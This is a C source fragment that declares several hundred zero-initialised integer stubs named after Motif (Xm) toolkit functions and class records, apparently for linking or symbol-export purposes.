int XmCreateColorSelector = 0;
|
||||
int XmCreateColumn = 0;
|
||||
int XmCreateCombinationBox2 = 0;
|
||||
int XmCreateComboBox = 0;
|
||||
int XmCreateCommand = 0;
|
||||
int XmCreateCommandDialog = 0;
|
||||
int XmCreateContainer = 0;
|
||||
int XmCreateDataField = 0;
|
||||
int XmCreateDialogShell = 0;
|
||||
int XmCreateDragIcon = 0;
|
||||
int XmCreateDrawingArea = 0;
|
||||
int XmCreateDrawnButton = 0;
|
||||
int XmCreateDropDown = 0;
|
||||
int XmCreateDropDownComboBox = 0;
|
||||
int XmCreateDropDownList = 0;
|
||||
int XmCreateErrorDialog = 0;
|
||||
int XmCreateExt18List = 0;
|
||||
int XmCreateExtended18List = 0;
|
||||
int XmCreateFileSelectionBox = 0;
|
||||
int XmCreateFileSelectionDialog = 0;
|
||||
int _XmCreateFocusData = 0;
|
||||
int XmCreateFontSelector = 0;
|
||||
int XmCreateForm = 0;
|
||||
int XmCreateFormDialog = 0;
|
||||
int XmCreateFrame = 0;
|
||||
int XmCreateGrabShell = 0;
|
||||
int XmCreateIconBox = 0;
|
||||
int XmCreateIconButton = 0;
|
||||
int XmCreateIconGadget = 0;
|
||||
int XmCreateIconHeader = 0;
|
||||
int XmCreateInformationDialog = 0;
|
||||
int XmCreateLabel = 0;
|
||||
int XmCreateLabelGadget = 0;
|
||||
int XmCreateList = 0;
|
||||
int XmCreateMainWindow = 0;
|
||||
int XmCreateMenuBar = 0;
|
||||
int _XmCreateMenuCursor = 0;
|
||||
int XmCreateMenuShell = 0;
|
||||
int XmCreateMessageBox = 0;
|
||||
int XmCreateMessageDialog = 0;
|
||||
int XmCreateMultiList = 0;
|
||||
int XmCreateNotebook = 0;
|
||||
int XmCreateOptionMenu = 0;
|
||||
int XmCreateOutline = 0;
|
||||
int XmCreatePaned = 0;
|
||||
int XmCreatePanedWindow = 0;
|
||||
int XmCreatePopupMenu = 0;
|
||||
int XmCreatePromptDialog = 0;
|
||||
int XmCreatePulldownMenu = 0;
|
||||
int XmCreatePushButton = 0;
|
||||
int XmCreatePushButtonGadget = 0;
|
||||
int XmCreateQuestionDialog = 0;
|
||||
int XmCreateRadioBox = 0;
|
||||
int _XmCreateRenderTable = 0;
|
||||
int _XmCreateRendition = 0;
|
||||
int XmCreateRowColumn = 0;
|
||||
int XmCreateScale = 0;
|
||||
int XmCreateScrollBar = 0;
|
||||
int XmCreateScrolledList = 0;
|
||||
int XmCreateScrolledText = 0;
|
||||
int XmCreateScrolledWindow = 0;
|
||||
int XmCreateSelectionBox = 0;
|
||||
int XmCreateSelectionDialog = 0;
|
||||
int XmCreateSeparator = 0;
|
||||
int XmCreateSeparatorGadget = 0;
|
||||
int XmCreateSimpleCheckBox = 0;
|
||||
int XmCreateSimpleMenuBar = 0;
|
||||
int XmCreateSimpleOptionMenu = 0;
|
||||
int XmCreateSimplePopupMenu = 0;
|
||||
int XmCreateSimplePulldownMenu = 0;
|
||||
int XmCreateSimpleRadioBox = 0;
|
||||
int XmCreateSimpleSpinBox = 0;
|
||||
int XmCreateSpinBox = 0;
|
||||
int _XmCreateTab = 0;
|
||||
int XmCreateTabBox = 0;
|
||||
int _XmCreateTabList = 0;
|
||||
int XmCreateTabStack = 0;
|
||||
int XmCreateTemplateDialog = 0;
|
||||
int XmCreateText = 0;
|
||||
int XmCreateTextField = 0;
|
||||
int XmCreateToggleButton = 0;
|
||||
int XmCreateToggleButtonGadget = 0;
|
||||
int XmCreateTree = 0;
|
||||
int _XmCreateVisibilityRect = 0;
|
||||
int XmCreateWarningDialog = 0;
|
||||
int XmCreateWorkArea = 0;
|
||||
int XmCreateWorkingDialog = 0;
|
||||
int XmCvtByteStreamToXmString = 0;
|
||||
int XmCvtCTToXmString = 0;
|
||||
int XmCvtFromHorizontalPixels = 0;
|
||||
int XmCvtFromVerticalPixels = 0;
|
||||
int XmCvtStringToUnitType = 0;
|
||||
int XmCvtTextPropertyToXmStringTable = 0;
|
||||
int XmCvtTextToXmString = 0;
|
||||
int XmCvtToHorizontalPixels = 0;
|
||||
int XmCvtToVerticalPixels = 0;
|
||||
int XmCvtXmStringTableToTextProperty = 0;
|
||||
int XmCvtXmStringToByteStream = 0;
|
||||
int _XmCvtXmStringToCT = 0;
|
||||
int XmCvtXmStringToCT = 0;
|
||||
int XmCvtXmStringToText = 0;
|
||||
int _XmCvtXmStringToUTF8String = 0;
|
||||
int XmCvtXmStringToUTF8String = 0;
|
||||
int _XmDataF_EventBindings1 = 0;
|
||||
int _XmDataF_EventBindings2 = 0;
|
||||
int _XmDataF_EventBindings3 = 0;
|
||||
int _XmDataF_EventBindings4 = 0;
|
||||
int xmDataFieldClassRec = 0;
|
||||
int _XmDataFieldConvert = 0;
|
||||
int XmDataFieldCopy = 0;
|
||||
int _XmDataFieldCountBytes = 0;
|
||||
int XmDataFieldCut = 0;
|
||||
int _XmDataFieldDeselectSelection = 0;
|
||||
int XmDataFielddf_ClearSelection = 0;
|
||||
int _XmDataFielddf_SetCursorPosition = 0;
|
||||
int XmDataFielddf_SetCursorPosition = 0;
|
||||
int _XmDataFielddf_SetDestination = 0;
|
||||
int _XmDataFieldDrawInsertionPoint = 0;
|
||||
int XmDataFieldGetAddMode = 0;
|
||||
int XmDataFieldGetBaseline = 0;
|
||||
int XmDataFieldGetCursorPosition = 0;
|
||||
int _XmDataFieldGetDropReciever = 0;
|
||||
int XmDataFieldGetEditable = 0;
|
||||
int XmDataFieldGetInsertionPosition = 0;
|
||||
int XmDataFieldGetLastPosition = 0;
|
||||
int XmDataFieldGetMaxLength = 0;
|
||||
int XmDataFieldGetSelection = 0;
|
||||
int XmDataFieldGetSelectionPosition = 0;
|
||||
int XmDataFieldGetSelectionWcs = 0;
|
||||
int XmDataFieldGetString = 0;
|
||||
int XmDataFieldGetStringWcs = 0;
|
||||
int XmDataFieldGetSubstring = 0;
|
||||
int XmDataFieldGetSubstringWcs = 0;
|
||||
int XmDataFieldInsert = 0;
|
||||
int XmDataFieldInsertWcs = 0;
|
||||
int _XmDataFieldLoseSelection = 0;
|
||||
int XmDataFieldPaste = 0;
|
||||
int XmDataFieldPosToXY = 0;
|
||||
int XmDataFieldRemove = 0;
|
||||
int XmDataFieldReplace = 0;
|
||||
int _XmDataFieldReplaceText = 0;
|
||||
int XmDataFieldReplaceWcs = 0;
|
||||
int XmDataFieldSetAddMode = 0;
|
||||
int _XmDataFieldSetClipRect = 0;
|
||||
int XmDataFieldSetEditable = 0;
|
||||
int XmDataFieldSetHighlight = 0;
|
||||
int XmDataFieldSetInsertionPosition = 0;
|
||||
int XmDataFieldSetMaxLength = 0;
|
||||
int _XmDataFieldSetSel2 = 0;
|
||||
int XmDataFieldSetSelection = 0;
|
||||
int XmDataFieldSetString = 0;
|
||||
int XmDataFieldShowPosition = 0;
|
||||
int _XmDataFieldStartSelection = 0;
|
||||
int xmDataFieldWidgetClass = 0;
|
||||
int XmDataFieldXYToPos = 0;
|
||||
int _XmDataFPrimClassExtRec = 0;
|
||||
int _XmDataFToggleCursorGC = 0;
|
||||
int XmDeactivateProtocol = 0;
|
||||
int _XmDefaultColorObj = 0;
|
||||
int _XmDefaultDragIconQuark = 0;
|
||||
int _XmdefaultTextActionsTable = 0;
|
||||
int _XmdefaultTextActionsTableSize = 0;
|
||||
int _XmDefaultVisualResources = 0;
|
||||
int xmDesktopClass = 0;
|
||||
int xmDesktopClassRec = 0;
|
||||
int xmDesktopObjectClass = 0;
|
||||
int _XmDestinationHandler = 0;
|
||||
int _XmDestroyDefaultDragIcon = 0;
|
||||
int _XmDestroyFocusData = 0;
|
||||
int _XmDestroyMotifWindow = 0;
|
||||
int _XmDestroyParentCallback = 0;
|
||||
int XmDestroyPixmap = 0;
|
||||
int _XmDestroyTearOffShell = 0;
|
||||
int xmDialogShellClassRec = 0;
|
||||
int xmDialogShellExtClassRec = 0;
|
||||
int xmDialogShellExtObjectClass = 0;
|
||||
int xmDialogShellWidgetClass = 0;
|
||||
int _XmDifferentBackground = 0;
|
||||
int _XmDirectionDefault = 0;
|
||||
int XmDirectionMatch = 0;
|
||||
int XmDirectionMatchPartial = 0;
|
||||
int XmDirectionToStringDirection = 0;
|
||||
int _XmDismissTearOff = 0;
|
||||
int _XmDispatchGadgetInput = 0;
|
||||
int _XmDisplay_baseTranslations = 0;
|
||||
int xmDisplayClass = 0;
|
||||
int xmDisplayClassRec = 0;
|
||||
int xmDisplayObjectClass = 0;
|
||||
int _XmDoGadgetTraversal = 0;
|
||||
int XmDragCancel = 0;
|
||||
int _XmDragC_defaultTranslations = 0;
|
||||
int xmDragContextClass = 0;
|
||||
int xmDragContextClassRec = 0;
|
||||
int xmDragIconClassRec = 0;
|
||||
int _XmDragIconClean = 0;
|
||||
int _XmDragIconIsDirty = 0;
|
||||
int xmDragIconObjectClass = 0;
|
||||
int _XmDragOverChange = 0;
|
||||
int _XmDragOverFinish = 0;
|
||||
int _XmDragOverGetActiveCursor = 0;
|
||||
int _XmDragOverHide = 0;
|
||||
int _XmDragOverMove = 0;
|
||||
int _XmDragOverSetInitialPosition = 0;
|
||||
int xmDragOverShellClassRec = 0;
|
||||
int xmDragOverShellWidgetClass = 0;
|
||||
int _XmDragOverShow = 0;
|
||||
int XmDragStart = 0;
|
||||
int _XmDragUnderAnimation = 0;
|
||||
int _XmDrawArrow = 0;
|
||||
int XmDrawBevel = 0;
|
||||
int _XmDrawBorder = 0;
|
||||
int _XmDrawDiamond = 0;
|
||||
int _XmDrawDiamondButton = 0;
|
||||
int _XmDrawHighlight = 0;
|
||||
int _XmDrawingA_defaultTranslations = 0;
|
||||
int xmDrawingAreaClassRec = 0;
|
||||
int _XmDrawingAreaInput = 0;
|
||||
int xmDrawingAreaWidgetClass = 0;
|
||||
int _XmDrawingA_traversalTranslations = 0;
|
||||
int _XmDrawnB_defaultTranslations = 0;
|
||||
int _XmDrawnB_menuTranslations = 0;
|
||||
int _XmDrawnBPrimClassExtRec = 0;
|
||||
int xmDrawnButtonClassRec = 0;
|
||||
int xmDrawnButtonWidgetClass = 0;
|
||||
int _XmDrawSeparator = 0;
|
||||
int _XmDrawShadow = 0;
|
||||
int _XmDrawShadows = 0;
|
||||
int _XmDrawShadowType = 0;
|
||||
int _XmDrawSimpleHighlight = 0;
|
||||
int _XmDrawSquareButton = 0;
|
||||
int xmDropDownClassRec = 0;
|
||||
int XmDropDownGetArrow = 0;
|
||||
int XmDropDownGetChild = 0;
|
||||
int XmDropDownGetLabel = 0;
|
||||
int XmDropDownGetList = 0;
|
||||
int XmDropDownGetText = 0;
|
||||
int XmDropDownGetValue = 0;
|
||||
int xmDropDownWidgetClass = 0;
|
||||
int XmDropSiteConfigureStackingOrder = 0;
|
||||
int XmDropSiteEndUpdate = 0;
|
||||
int XmDropSiteGetActiveVisuals = 0;
|
||||
int xmDropSiteManagerClassRec = 0;
|
||||
int xmDropSiteManagerObjectClass = 0;
|
||||
int XmDropSiteQueryStackingOrder = 0;
|
||||
int XmDropSiteRegister = 0;
|
||||
int XmDropSiteRegistered = 0;
|
||||
int XmDropSiteRetrieve = 0;
|
||||
int _XmDropSiteShell = 0;
|
||||
int XmDropSiteStartUpdate = 0;
|
||||
int XmDropSiteUnregister = 0;
|
||||
int XmDropSiteUpdate = 0;
|
||||
int _XmDropSiteWrapperCandidate = 0;
|
||||
int XmDropTransferAdd = 0;
|
||||
int xmDropTransferClassRec = 0;
|
||||
int xmDropTransferObjectClass = 0;
|
||||
int XmDropTransferStart = 0;
|
||||
int _XmDSIAddChild = 0;
|
||||
int _XmDSIDestroy = 0;
|
||||
int _XmDSIGetBorderWidth = 0;
|
||||
int _XmDSIGetChildPosition = 0;
|
||||
int _XmDSIRemoveChild = 0;
|
||||
int _XmDSIReplaceChild = 0;
|
||||
int _XmDSISwapChildren = 0;
|
||||
int _XmDSMGetTreeFromDSM = 0;
|
||||
int _XmDSMUpdate = 0;
|
||||
int _XmDSResources = 0;
|
||||
int XmeAddFocusChangeCallback = 0;
|
||||
int XmeClearBorder = 0;
|
||||
int XmeClipboardSink = 0;
|
||||
int XmeClipboardSource = 0;
|
||||
int XmeConfigureObject = 0;
|
||||
int XmeConvertMerge = 0;
|
||||
int XmeCountVaListSimple = 0;
|
||||
int XmeCreateClassDialog = 0;
|
||||
int _XmEditResCheckMessages = 0;
|
||||
int XmeDragSource = 0;
|
||||
int XmeDrawArrow = 0;
|
||||
int XmeDrawCircle = 0;
|
||||
int XmeDrawDiamond = 0;
|
||||
int XmeDrawHighlight = 0;
|
||||
int XmeDrawIndicator = 0;
|
||||
int XmeDrawPolygonShadow = 0;
|
||||
int XmeDrawSeparator = 0;
|
||||
int XmeDrawShadows = 0;
|
||||
int XmeDropSink = 0;
|
||||
int XmeFlushIconFileCache = 0;
|
||||
int XmeFocusIsInShell = 0;
|
||||
int XmeFromHorizontalPixels = 0;
|
||||
int XmeFromVerticalPixels = 0;
|
||||
int XmeGetColorObjData = 0;
|
||||
int XmeGetDefaultPixel = 0;
|
||||
int XmeGetDefaultRenderTable = 0;
|
||||
int XmeGetDesktopColorCells = 0;
|
||||
int XmeGetDirection = 0;
|
||||
int XmeGetEncodingAtom = 0;
|
||||
int XmeGetHomeDirName = 0;
|
||||
int XmeGetIconControlInfo = 0;
|
||||
int XmeGetLocalizedString = 0;
|
||||
int XmeGetMask = 0;
|
||||
int XmeGetNextCharacter = 0;
|
||||
int XmeGetNullCursor = 0;
|
||||
int XmeGetPixelData = 0;
|
||||
int XmeGetPixmapData = 0;
|
||||
int XmeGetTextualDragIcon = 0;
|
||||
int XmeMicroSleep = 0;
|
||||
int _XmEmptyRect = 0;
|
||||
int XmeNamedSink = 0;
|
||||
int XmeNamedSource = 0;
|
||||
int XmeNamesAreEqual = 0;
|
||||
int XmeNavigChangeManaged = 0;
|
||||
int _XmEnterGadget = 0;
|
||||
int _XmEnterRowColumn = 0;
|
||||
int _XmEntryByteCountGet = 0;
|
||||
int _XmEntryCacheGet = 0;
|
||||
int _XmEntryCharCountGet = 0;
|
||||
int _XmEntryDirectionGet = 0;
|
||||
int _XmEntryDirectionSet = 0;
|
||||
int _XmEntryPopGet = 0;
|
||||
int _XmEntryPushGet = 0;
|
||||
int _XmEntryRendBeginCountGet = 0;
|
||||
int _XmEntryRendBeginGet = 0;
|
||||
int _XmEntryRendBeginSet = 0;
|
||||
int _XmEntryRendEndCountGet = 0;
|
||||
int _XmEntryRendEndGet = 0;
|
||||
int _XmEntryRendEndSet = 0;
|
||||
int _XmEntryTabsGet = 0;
|
||||
int _XmEntryTag = 0;
|
||||
int _XmEntryTagSet = 0;
|
||||
int _XmEntryTextGet = 0;
|
||||
int _XmEntryTextSet = 0;
|
||||
int _XmEntryTextTypeGet = 0;
|
||||
int XmeParseUnits = 0;
|
||||
int XmePrimarySink = 0;
|
||||
int XmePrimarySource = 0;
|
||||
int XmeQueryBestCursorSize = 0;
|
||||
int _XmEraseShadow = 0;
|
||||
int XmeRedisplayGadgets = 0;
|
||||
int XmeRemoveFocusChangeCallback = 0;
|
||||
int XmeRenderTableGetDefaultFont = 0;
|
||||
int XmeReplyToQueryGeometry = 0;
|
||||
int XmeResolvePartOffsets = 0;
|
||||
int XmeSecondarySink = 0;
|
||||
int XmeSecondarySource = 0;
|
||||
int XmeSecondaryTransfer = 0;
|
||||
int XmeSetWMShellTitle = 0;
|
||||
int XmeStandardConvert = 0;
|
||||
int XmeStandardTargets = 0;
|
||||
int XmeStringGetComponent = 0;
|
||||
int XmeStringIsValid = 0;
|
||||
int XmeToHorizontalPixels = 0;
|
||||
int XmeToVerticalPixels = 0;
|
||||
int XmeTraitGet = 0;
|
||||
int XmeTraitSet = 0;
|
||||
int XmeTransferAddDoneProc = 0;
|
||||
int XmeUseColorObj = 0;
|
||||
int XmeVirtualToActualKeysyms = 0;
|
||||
int XmeVLCreateWidget = 0;
|
||||
int XmeWarning = 0;
|
||||
int XME_WARNING = 0;
|
||||
int XmeXpmAttributesSize = 0;
|
||||
int XmeXpmCreateBufferFromImage = 0;
|
||||
int XmeXpmCreateBufferFromPixmap = 0;
|
||||
int XmeXpmCreateBufferFromXpmImage = 0;
|
||||
int XmeXpmCreateDataFromImage = 0;
|
||||
int XmeXpmCreateDataFromPixmap = 0;
|
||||
int XmeXpmCreateDataFromXpmImage = 0;
|
||||
int XmeXpmCreateImageFromBuffer = 0;
|
||||
int XmeXpmCreateImageFromData = 0;
|
||||
int XmeXpmCreateImageFromXpmImage = 0;
|
||||
int XmeXpmCreatePixmapFromBuffer = 0;
|
||||
int XmeXpmCreatePixmapFromData = 0;
|
||||
int XmeXpmCreatePixmapFromXpmImage = 0;
|
||||
int XmeXpmCreateXpmImageFromBuffer = 0;
|
||||
int XmeXpmCreateXpmImageFromData = 0;
|
||||
int XmeXpmCreateXpmImageFromImage = 0;
|
||||
int XmeXpmCreateXpmImageFromPixmap = 0;
|
||||
int XmeXpmFree = 0;
|
||||
int XmeXpmFreeAttributes = 0;
|
||||
int XmeXpmFreeExtensions = 0;
|
||||
int XmeXpmFreeXpmImage = 0;
|
||||
int XmeXpmFreeXpmInfo = 0;
|
||||
int XmeXpmGetErrorString = 0;
|
||||
int XmeXpmLibraryVersion = 0;
|
||||
int XmeXpmReadFileToBuffer = 0;
|
||||
int XmeXpmReadFileToData = 0;
|
||||
int XmeXpmReadFileToImage = 0;
|
||||
int XmeXpmReadFileToPixmap = 0;
|
||||
int XmeXpmReadFileToXpmImage = 0;
|
||||
int XmeXpmWriteFileFromBuffer = 0;
|
||||
int XmeXpmWriteFileFromData = 0;
|
||||
int XmeXpmWriteFileFromImage = 0;
|
||||
int XmeXpmWriteFileFromPixmap = 0;
|
||||
int XmeXpmWriteFileFromXpmImage = 0;
|
||||
int xmExt18ListClassRec = 0;
|
||||
int XmExt18ListDeselectItems = 0;
|
||||
int XmExt18ListDeselectRow = 0;
|
||||
int XmExt18ListGetSelectedRowArray = 0;
|
||||
int XmExt18ListGetSelectedRows = 0;
|
||||
int XmExt18ListMakeRowVisible = 0;
|
||||
int XmExt18ListSelectAllItems = 0;
|
||||
int XmExt18ListSelectItems = 0;
|
||||
int XmExt18ListSelectRow = 0;
|
||||
int XmExt18ListToggleRow = 0;
|
||||
int XmExt18ListUnselectAllItems = 0;
|
||||
int XmExt18ListUnselectItem = 0;
|
||||
int xmExt18ListWidgetClass = 0;
|
||||
int xmExtClassRec = 0;
|
||||
int _XmExtGetValuesHook = 0;
|
||||
int _XmExtHighlightBorder = 0;
|
||||
int _XmExtImportArgs = 0;
|
||||
int _XmExtObjAlloc = 0;
|
||||
int xmExtObjectClass = 0;
|
||||
int _XmExtObjFree = 0;
|
||||
int _XmExtUnhighlightBorder = 0;
|
||||
int _Xm_fastPtr = 0;
|
||||
int _XmFastSubclassInit = 0;
|
||||
int _XmFileSBGeoMatrixCreate = 0;
|
||||
int xmFileSelectionBoxClassRec = 0;
|
||||
int _XmFileSelectionBoxCreateDirList = 0;
|
||||
int _XmFileSelectionBoxCreateDirListLabel = 0;
|
||||
int _XmFileSelectionBoxCreateFilterLabel = 0;
|
||||
int _XmFileSelectionBoxCreateFilterText = 0;
|
||||
int _XmFileSelectionBoxFocusMoved = 0;
|
||||
int XmFileSelectionBoxGetChild = 0;
|
||||
int _XmFileSelectionBoxGetDirectory = 0;
|
||||
int _XmFileSelectionBoxGetDirListItemCount = 0;
|
||||
int _XmFileSelectionBoxGetDirListItems = 0;
|
||||
int _XmFileSelectionBoxGetDirListLabelString = 0;
|
||||
int _XmFileSelectionBoxGetDirMask = 0;
|
||||
int _XmFileSelectionBoxGetFilterLabelString = 0;
|
||||
int _XmFileSelectionBoxGetListItemCount = 0;
|
||||
int _XmFileSelectionBoxGetListItems = 0;
|
||||
int _XmFileSelectionBoxGetNoMatchString = 0;
|
||||
int _XmFileSelectionBoxGetPattern = 0;
|
||||
int _XmFileSelectionBoxNoGeoRequest = 0;
|
||||
int _XmFileSelectionBoxRestore = 0;
|
||||
int _XmFileSelectionBoxUpOrDown = 0;
|
||||
int xmFileSelectionBoxWidgetClass = 0;
|
||||
int XmFileSelectionDoSearch = 0;
|
||||
int _XmFilterArgs = 0;
|
||||
int _XmFilterResources = 0;
|
||||
int _XmFindNextTabGroup = 0;
|
||||
int _XmFindPrevTabGroup = 0;
|
||||
int _XmFindTabGroup = 0;
|
||||
int _XmFindTopMostShell = 0;
|
||||
int _XmFindTraversablePrim = 0;
|
||||
int _XmFocusInGadget = 0;
|
||||
int _XmFocusIsHere = 0;
|
||||
int _XmFocusIsInShell = 0;
|
||||
int _XmFocusModelChanged = 0;
|
||||
int _XmFocusOutGadget = 0;
|
||||
int XmFontListAdd = 0;
|
||||
int XmFontListAppendEntry = 0;
|
||||
int XmFontListCopy = 0;
|
||||
int XmFontListCreate = 0;
|
||||
int XmFontListCreate_r = 0;
|
||||
int XmFontListEntryCreate = 0;
|
||||
int XmFontListEntryCreate_r = 0;
|
||||
int XmFontListEntryFree = 0;
|
||||
int XmFontListEntryGetFont = 0;
|
||||
int XmFontListEntryGetTag = 0;
|
||||
int XmFontListEntryLoad = 0;
|
||||
int XmFontListFree = 0;
|
||||
int XmFontListFreeFontContext = 0;
|
||||
int _XmFontListGetDefaultFont = 0;
|
||||
int XmFontListGetNextFont = 0;
|
||||
int XmFontListInitFontContext = 0;
|
||||
int XmFontListNextEntry = 0;
|
||||
int XmFontListRemoveEntry = 0;
|
||||
int _XmFontListSearch = 0;
|
||||
int xmFontSelectorClassRec = 0;
|
||||
int xmFontSelectorWidgetClass = 0;
|
||||
int _XmForegroundColorDefault = 0;
|
||||
int xmFormClassRec = 0;
|
||||
int xmFormWidgetClass = 0;
|
||||
int xmFrameClassRec = 0;
|
||||
int _XmFrame_defaultTranslations = 0;
|
||||
int xmFrameWidgetClass = 0;
|
||||
int _XmFreeDragReceiverInfo = 0;
|
||||
int _XmFreeHashTable = 0;
|
||||
int _XmFreeMotifAtom = 0;
|
||||
int _XmFreeScratchPixmap = 0;
|
||||
int _XmFreeTravGraph = 0;
|
||||
int _XmFreeWidgetExtData = 0;
|
||||
int _XmFromHorizontalPixels = 0;
|
||||
int _XmFromLayoutDirection = 0;
|
||||
int _XmFromPanedPixels = 0;
|
||||
int _XmFromVerticalPixels = 0;
|
||||
int _XmGadClassExtRec = 0;
|
||||
int _XmGadgetActivate = 0;
|
||||
int _XmGadgetArm = 0;
|
||||
int _XmGadgetButtonMotion = 0;
|
||||
int xmGadgetClass = 0;
|
||||
int xmGadgetClassRec = 0;
|
||||
int _XmGadgetDrag = 0;
|
||||
int _XmGadgetGetValuesHook = 0;
|
||||
int _XmGadgetImportArgs = 0;
|
||||
int _XmGadgetImportSecondaryArgs = 0;
|
||||
int _XmGadgetKeyInput = 0;
|
||||
int _XmGadgetMultiActivate = 0;
|
||||
int _XmGadgetMultiArm = 0;
|
||||
int _XmGadgetSelect = 0;
|
||||
int _XmGadgetTraverseCurrent = 0;
|
||||
int _XmGadgetTraverseDown = 0;
|
||||
int _XmGadgetTraverseHome = 0;
|
||||
int _XmGadgetTraverseLeft = 0;
|
||||
int _XmGadgetTraverseNext = 0;
|
||||
int _XmGadgetTraverseNextTabGroup = 0;
|
||||
int _XmGadgetTraversePrev = 0;
|
||||
int _XmGadgetTraversePrevTabGroup = 0;
|
||||
int _XmGadgetTraverseRight = 0;
|
||||
int _XmGadgetTraverseUp = 0;
|
||||
int _XmGadgetWarning = 0;
|
||||
int _XmGeoAdjustBoxes = 0;
|
||||
int _XmGeoArrangeBoxes = 0;
|
||||
int _XmGeoBoxesSameHeight = 0;
|
||||
int _XmGeoBoxesSameWidth = 0;
|
||||
int _XmGeoClearRectObjAreas = 0;
|
||||
int _XmGeoCount_kids = 0;
|
||||
int _XmGeoGetDimensions = 0;
|
||||
int _XmGeoLoadValues = 0;
|
||||
int _XmGeoMatrixAlloc = 0;
|
||||
int _XmGeoMatrixFree = 0;
|
||||
int _XmGeoMatrixGet = 0;
|
||||
int _XmGeoMatrixSet = 0;
|
||||
int _XmGeometryEqual = 0;
|
||||
int _XmGeoReplyYes = 0;
|
||||
int _XmGeoSetupKid = 0;
|
||||
int _XmGetActiveDropSite = 0;
|
||||
int _XmGetActiveItem = 0;
|
||||
int _XmGetActiveProtocolStyle = 0;
|
||||
int _XmGetActiveTabGroup = 0;
|
||||
int _XmGetActiveTopLevelMenu = 0;
|
||||
int _XmGetActualClass = 0;
|
||||
int _XmGetArrowDrawRects = 0;
|
||||
int XmGetAtomName = 0;
|
||||
int _XmGetAudibleWarning = 0;
|
||||
int _XmGetBGPixmapName = 0;
|
||||
int _XmGetBitmapConversionModel = 0;
|
||||
int _XmGetBottomShadowColor = 0;
|
||||
int _XmGetClassExtensionPtr = 0;
|
||||
int _XmGetColorAllocationProc = 0;
|
||||
int XmGetColorCalculation = 0;
|
||||
int _XmGetColorCalculationProc = 0;
|
||||
int _XmGetColoredPixmap = 0;
|
||||
int _XmGetColors = 0;
|
||||
int XmGetColors = 0;
|
||||
int _XmGetDefaultBackgroundColorSpec = 0;
|
||||
int _XmGetDefaultColors = 0;
|
||||
int _XmGetDefaultDisplay = 0;
|
||||
int _XmGetDefaultFontList = 0;
|
||||
int _XmGetDefaultThresholdsForScreen = 0;
|
||||
int _XmGetDefaultTime = 0;
|
||||
int XmGetDestination = 0;
|
||||
int _XmGetDisplayObject = 0;
|
||||
int XmGetDragContext = 0;
|
||||
int _XmGetDragContextFromHandle = 0;
|
||||
int _XmGetDragCursorCachePtr = 0;
|
||||
int _XmGetDragProtocolStyle = 0;
|
||||
int _XmGetDragProxyWindow = 0;
|
||||
int _XmGetDragReceiverInfo = 0;
|
||||
int _XmGetDropSiteManagerObject = 0;
|
||||
int _XmGetEffectiveView = 0;
|
||||
int _XmGetEncodingRegistryTarget = 0;
|
||||
int _XmGetFirstFocus = 0;
|
||||
int _XmGetFirstFont = 0;
|
||||
int _XmGetFocus = 0;
|
||||
int _XmGetFocusData = 0;
|
||||
int _XmGetFocusFlag = 0;
|
||||
int _XmGetFocusPolicy = 0;
|
||||
int _XmGetFocusResetFlag = 0;
|
||||
int XmGetFocusWidget = 0;
|
||||
int _XmGetFontUnit = 0;
|
||||
int _XmGetHashEntryIterate = 0;
|
||||
int _XmGetHighlightColor = 0;
|
||||
int _XmGetIconControlInfo = 0;
|
||||
int XmGetIconFileName = 0;
|
||||
int _XmGetIconPixmapName = 0;
|
||||
int _XmGetImage = 0;
|
||||
int _XmGetImageAndHotSpotFromFile = 0;
|
||||
int _XmGetImageFromFile = 0;
|
||||
int _XmGetInDragMode = 0;
|
||||
int _XmGetInsensitiveStippleBitmap = 0;
|
||||
int _XmGetKidGeo = 0;
|
||||
int _XmGetLayoutDirection = 0;
|
||||
int _XmGetManagedInfo = 0;
|
||||
int _XmGetMaxCursorSize = 0;
|
||||
int _XmGetMBStringFromXmString = 0;
|
||||
int XmGetMenuCursor = 0;
|
||||
int _XmGetMenuCursorByScreen = 0;
|
||||
int _XmGetMenuProcContext = 0;
|
||||
int _XmGetMenuState = 0;
|
||||
int _XmGetMotifAtom = 0;
|
||||
int _XmGetMoveOpaqueByScreen = 0;
|
||||
int _XmGetNavigability = 0;
|
||||
int _XmGetNavigationType = 0;
|
||||
int _Xm_GetNewElement = 0;
|
||||
int XmGetNewPictureState = 0;
|
||||
int _XmGetNullCursor = 0;
|
||||
int _XmGetPixelData = 0;
|
||||
int _XmGetPixmap = 0;
|
||||
int XmGetPixmap = 0;
|
||||
int _XmGetPixmapBasedGC = 0;
|
||||
int XmGetPixmapByDepth = 0;
|
||||
int _XmGetPixmapData = 0;
|
||||
int _XmGetPointVisibility = 0;
|
||||
int _XmGetPopupMenuClick = 0;
|
||||
int XmGetPostedFromWidget = 0;
|
||||
int _XmGetRC_PopupPosted = 0;
|
||||
int _XmGetRealXlations = 0;
|
||||
int _XmGetScaledPixmap = 0;
|
||||
int XmGetScaledPixmap = 0;
|
||||
int _XmGetScreenObject = 0;
|
||||
int XmGetSecondaryResourceData = 0;
|
||||
int _XmGetTabGroup = 0;
|
||||
int XmGetTabGroup = 0;
|
||||
int XmGetTearOffControl = 0;
|
||||
int _XmGetTextualDragIcon = 0;
|
||||
int XmGetToolTipString = 0;
|
||||
int _XmGetTopShadowColor = 0;
|
||||
int _XmGetTransientFlag = 0;
|
||||
int _XmGetUnitType = 0;
|
||||
int _XmGetUnpostBehavior = 0;
|
||||
int XmGetVisibility = 0;
|
||||
int _XmGetWidgetExtData = 0;
|
||||
int _XmGetWidgetNavigPtrs = 0;
|
||||
int _XmGetWorldObject = 0;
|
||||
int _XmGetWrapperData = 0;
|
||||
int XmGetXmDisplay = 0;
|
||||
int _XmGetXmDisplayClass = 0;
|
||||
int XmGetXmScreen = 0;
|
||||
int _XmGMCalcSize = 0;
|
||||
int _XmGMDoLayout = 0;
|
||||
int _XmGMEnforceMargin = 0;
|
||||
int _XmGMHandleGeometryManager = 0;
|
||||
int _XmGMHandleQueryGeometry = 0;
|
||||
int _XmGMOverlap = 0;
|
||||
int _XmGMReplyToQueryGeometry = 0;
|
||||
int _XmGrabKeyboard = 0;
|
||||
int _XmGrabPointer = 0;
|
||||
int xmGrabShellClassRec = 0;
|
||||
int _XmGrabShell_translations = 0;
|
||||
int xmGrabShellWidgetClass = 0;
|
||||
int _XmGrabTheFocus = 0;
|
||||
int _XmHandleGeometryManager = 0;
|
||||
int _XmHandleMenuButtonPress = 0;
|
||||
int _XmHandleQueryGeometry = 0;
|
||||
int _XmHandleSizeUpdate = 0;
|
||||
int _XmHashTableCount = 0;
|
||||
int _XmHashTableSize = 0;
|
||||
int _XmHeapAlloc = 0;
|
||||
int _XmHeapCreate = 0;
|
||||
int _XmHeapFree = 0;
